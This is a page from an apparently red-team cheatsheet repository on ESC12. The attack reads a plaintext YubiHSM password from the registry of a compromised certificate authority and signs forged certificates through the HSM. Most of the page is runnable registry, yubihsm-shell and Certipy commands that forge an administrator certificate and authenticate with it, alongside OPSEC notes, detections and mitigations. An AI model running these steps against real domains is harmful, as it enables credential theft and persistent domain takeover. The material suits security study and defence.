daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

esc12-shell-access-to-ca-with-yubihsm.md (7780B)


      1 ---
      2 title: "ESC12 — Shell Access to CA with YubiHSM"
      3 description: "ESC12 was disclosed by Hans-Joachim Knobloch and targets Certificate Authorities that use a Yubico YubiHSM2 hardware device for protecting their CA…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs"]
      7 tools: ["Impacket", "Certipy", "PowerShell"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC12 — Shell Access to CA with YubiHSM.md"
     11 ---
     12 # ESC12 — Shell Access to CA with YubiHSM
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | Post-Exploitation / HSM Bypass |
     19 | **Difficulty** | High (requires CA server shell access) |
     20 | **Pre-requisites** | Local admin / SYSTEM on CA server using YubiHSM2 |
     21 | **Tools** | Registry access, certutil, YubiHSM tools |
     22 | **OPSEC Noise** | Medium — registry access + cert operations |
     23 | **One-liner** | Recover plaintext YubiHSM authentication password from the registry on a CA server, then use it to sign arbitrary certificates through the HSM — bypassing the "HSMs prevent key extraction" assumption. |
     24 
     25 ***
     26 
     27 ## What Is ESC12?
     28 
     29 ESC12 was disclosed by **Hans-Joachim Knobloch** and targets Certificate Authorities that use a **Yubico YubiHSM2** hardware device for protecting their CA signing key. The conventional wisdom is that HSMs make the Golden Certificate attack (DPERSIST1) impossible because the private key cannot be extracted. ESC12 **breaks this assumption** — not by extracting the key, but by **recovering the HSM authentication password and using it to sign certificates through the HSM itself**.
     30 
     31 The vulnerability: Yubico's YubiHSM Key Storage Provider (KSP) stores the authentication password needed to unlock the HSM in **plaintext in the Windows Registry**:
     32 
     33 ```
     34 HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword
     35 ```
     36 
     37 With this password, you don't need to extract the private key — you can instruct the HSM to sign certificates directly, achieving the same result as having the raw key material.
     38 
     39 ***
     40 
     41 ## ESC12 vs Golden Certificate (DPERSIST1)
     42 
     43 | | Golden Certificate (DPERSIST1) | ESC12 |
     44 |---|---|---|
     45 | **CA key protection** | Software-protected (DPAPI) | **HSM-protected (YubiHSM2)** |
     46 | **Key extraction** | ✅ Key is extracted | ❌ Key stays in HSM |
     47 | **How cert is signed** | Offline with extracted key | **Through the HSM using recovered password** |
     48 | **Offline forging** | ✅ Anytime, anywhere | ❌ Must have HSM access (or be on the CA server) |
     49 | **Pre-requisite** | Local admin on CA | Local admin on CA + YubiHSM connected |
     50 | **Recovery difficulty** | Rebuild CA | Rotate HSM auth key + rebuild CA |
     51 
     52 > ⚠️ The critical difference: DPERSIST1 gives you **offline forging forever** (you take the key with you). ESC12 gives you **online forging** — you need access to the HSM device (or the CA server where it's connected) each time you want to sign a cert.
     53 
     54 ***
     55 
     56 ## Required Conditions
     57 
     58 | Condition | Notes |
     59 |-----------|-------|
     60 | Local admin / SYSTEM on the CA server | Post-exploitation — you've already compromised the domain |
     61 | CA uses YubiHSM2 for key storage | Check Key Storage Provider configuration |
     62 | YubiHSM auth password stored in registry | Default YubiHSM KSP configuration — almost always the case |
     63 | YubiHSM device physically connected | USB device must be attached to the CA server |
     64 
     65 ***
     66 
     67 ## Step 0 — Confirm CA Uses YubiHSM
     68 
     69 ```powershell
     70 # On the CA server — check the Key Storage Provider
     71 certutil -getkey <CA-Name>
     72 
     73 # Look for output mentioning YubiHSM:
     74 # Provider = Yubico YubiHSM Key Storage Provider
     75 
     76 # Or check registry
     77 reg query "HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-NAME>" /v CSPProvider
     78 # If result = "Yubico YubiHSM Key Storage Provider" → ESC12 is potentially exploitable
     79 ```
     80 
     81 ```bash
     82 # From Linux with admin access (via Impacket)
     83 reg.py 'domain/administrator:Password123!'@<CA-IP> query \
     84   -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-NAME>' \
     85   -v CSPProvider
     86 ```
     87 
     88 ***
     89 
     90 ## Full Attack Chain
     91 
     92 ### Step 1 — Recover the YubiHSM Authentication Password
     93 
     94 ```powershell
     95 # On the CA server
     96 reg query "HKLM\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword"
     97 
     98 # Expected output:
     99 # AuthKeysetPassword    REG_SZ    password123
    100 #                                 ↑ Plaintext HSM password
    101 ```
    102 
    103 ```bash
    104 # From Linux via Impacket
    105 reg.py 'domain/administrator:Password123!'@<CA-IP> query \
    106   -keyName 'HKLM\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword'
    107 ```
    108 
    109 ### Step 2 — Connect to YubiHSM and Sign Certificates
    110 
    111 With the authentication password, you can now use the YubiHSM KSP to sign certificates. This is typically done **on the CA server itself** since the HSM is physically connected there.
    112 
    113 ```powershell
    114 # Option A: Use certutil directly on the CA server to issue certs
    115 # The CA service already has access to the HSM — you just need admin on the server
    116 certutil -config "CA-SERVER\DOMAIN-CA" -submit cert_request.req
    117 
    118 # Option B: Use the YubiHSM Shell tool with the recovered password
    119 yubihsm-shell.exe
    120 > connect
    121 > session open 1 <recovered_password>
    122 > sign pkcs11 <key_id> <certificate_data>
    123 ```
    124 
    125 ### Step 3 — Forge a Certificate (via CA Service)
    126 
    127 If you have admin access on the CA server, the simplest approach is to use the CA's own infrastructure:
    128 
    129 ```bash
    130 # From Linux — use certipy backup (will attempt to use the KSP)
    131 certipy-ad backup \
    132   -u 'administrator@domain.htb' \
    133   -hashes :NTHASH \
    134   -dc-ip $TARGET \
    135   -target <CA-IP>
    136 
    137 # If certipy backup fails (HSM blocks key export), 
    138 # use certipy req directly with admin access to request certs for any user
    139 certipy-ad req \
    140   -u 'administrator@domain.htb' \
    141   -hashes :NTHASH \
    142   -dc-ip $TARGET \
    143   -ca 'DOMAIN-CA-NAME' \
    144   -template 'User' \
    145   -upn 'administrator@domain.htb'
    146 ```
    147 
    148 ### Step 4 — Authenticate
    149 
    150 ```bash
    151 certipy-ad auth \
    152   -pfx administrator.pfx \
    153   -username administrator \
    154   -domain domain.htb \
    155   -dc-ip $TARGET
    156 ```
    157 
    158 ***
    159 
    160 ## When ESC12 Matters
    161 
    162 ESC12 is only relevant in environments where:
    163 1. The CA uses a YubiHSM2 (or similar HSM with KSP password in registry)
    164 2. You've already achieved domain admin (this is a post-exploitation / persistence technique)
    165 3. The standard Golden Certificate (DPERSIST1) `certipy backup` fails because the key is HSM-protected
    166 
    167 If `certipy backup` succeeds, you don't need ESC12 — you already have the key. ESC12 is the **fallback when HSMs are in play**.
    168 
    169 ***
    170 
    171 ## OPSEC Considerations
    172 
    173 | Action | Log Generated | Noise Level |
    174 |--------|--------------|-------------|
    175 | Registry read (auth password) | Security Event 4663 (if registry auditing enabled) | 🟡 Medium |
    176 | Certificate issuance via CA service | Event ID 4886/4887 on CA | 🟡 Medium |
    177 | YubiHSM shell connection | YubiHSM audit log (if configured) | 🟡 Medium |
    178 
    179 ***
    180 
    181 ## Detection Indicators
    182 
    183 - **YubiHSM audit logs** — Unusual signing operations or session openings
    184 - **Event ID 4663** — Registry access to `HKLM\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`
    185 - **Event ID 4887** — Certificate issued for high-privilege accounts outside normal business hours
    186 - **Process monitoring** — `yubihsm-shell.exe` execution by unexpected accounts
    187 
    188 ***
    189 
    190 ## Mitigation
    191 
    192 - **Do NOT store HSM auth password in plaintext in the registry** — Use Yubico's alternative secure authentication methods (wrap keys, multi-auth)
    193 - **Harden CA server access** — Tier 0 asset, restrict all administrative access
    194 - **Enable registry auditing** on `HKLM\SOFTWARE\Yubico` — alert on any read access
    195 - **Rotate HSM authentication keys** regularly
    196 - **Consider HSMs with FIPS 140-2 Level 3+** — physically tamper-evident, stronger auth requirements
    197 - **Monitor YubiHSM connector logs** — alert on unexpected sessions